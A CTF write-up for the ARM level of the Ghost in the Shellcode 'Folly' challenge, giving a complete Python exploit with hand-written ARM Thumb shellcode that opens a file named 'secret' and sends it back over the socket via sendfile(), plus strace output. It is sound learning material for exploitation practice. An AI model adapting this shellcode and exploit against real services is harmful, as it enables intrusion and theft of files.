This is the next level of Folly, the multi-level challenge from the Ghost in The Shell CTF.
Note: I couldn’t complete this level during the CTF because of issues in getting my Debian Lenny and Squeeze qemu-system-arm images working with the Folly binary. I ended up blind coding the ARM shellcode and it didn’t work. After the CTF, I managed to get a Fedora ARM distribution working on Qemu 0.14 (thanks kalenz) and was able to run and debug my solution: I had a one single byte wrong 🙁
The binary is doing exactly the same than for Level 1 x86_64 and Level 2 x86 except it’s now compiled and running on a ARMv7 architecture.
The signature on the block buffer has been changed, we need to use 0x32adcd7d:
.text:00008F90 STR R3, [R7,#0x18+var_8]
.text:00008F92 LDR R3, [R7,#0x18+var_8]
.text:00008F94 LDR R2, [R3]
.text:00008F96 MOV R3, #0x32ADCD7D
.text:00008F9E CMP R2, R3
To summarize our findings from previous level:
– We are in a chroot()
– There is no shell in this chroot()
– You need to guess the filename of the key file or uses a getdents() shellcode to list the folder first (the filename on the challenge box was “secret” so you can guess it)
The following exploit will uses a custom Linux ARM sendfile() shellcode to send us a file from the current directory:
from struct import pack, unpack
host = 'folly.2013.ghostintheshellcode.com'
port = 5674
tn = telnetlib.Telnet(host, port)
tn.read_until("Hola! I am Sancho, who are you?")
tn.write("Don Quixote de la Mancha\n")
tn.read_until(">")
tn.write("M\n")
tn.read_until(">")
tn.write("A\n")
tn.read_until("What will you shout as you attack the giants?")
# Level 5674
buffer = pack('<I', 0x032ADCD7D)
# custom open('secret')+sys_write for ARM
# Thumb mode
shellcode = "\x05\x50\x45\xe0" # sub r5, r5, r5
shellcode += "\x01\x50\x8f\xe2" # add r5, pc, #1
shellcode += "\x15\xff\x2f\xe1" # bx r5
# open(filename, O_RDONLY) = fd
shellcode += "\x78\x46" # mov r0, pc
shellcode += "\x26\x30" # adds r0, #38
shellcode += "\x00\x21" # movs r1, 0
shellcode += "\x00\x22" # movs r2, 0
shellcode += "\x05\x27" # movs r7, #5
shellcode += "\x01\xdf" # svc 1
# r8 = fd
shellcode += "\x80\x46" # mov r8, r0
# sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
shellcode += "\x04\x20" # mov r0, 4
shellcode += "\x41\x46" # mov r1, r8
shellcode += "\x00\x22" # mov r2, 0
shellcode += "\xff\x23" # movs r3, #255
shellcode += "\xbb\x27" # movs r7, #187
shellcode += "\x01\xdf" # svc 1
# close(fd)
shellcode += "\x41\x46" # mov r1, r8
shellcode += "\x08\x1c" # adds r0, r1, #0
shellcode += "\x06\x27" # movs r7, #6
shellcode += "\x01\xdf" # svc 1
# exit(0)
shellcode += "\x1a\x49" # subs r1, r1, r1
shellcode += "\x08\x1c" # adds r0, r1, #0
shellcode += "\x01\x27" # movs r7, #1
shellcode += "\x01\xdf" # svc 1
# filename
shellcode += "secret" + chr(0)
print "shellcode len=", len(shellcode)
buffer += shellcode
s = tn.get_socket()
s.send(buffer + "\n")
data = True
while data:
data = s.recv(1024)
if data:
print repr(data)
Result:
[pid 632] sendfile(4, 3, NULL, 255) = 5
[pid 632] close(3) = 0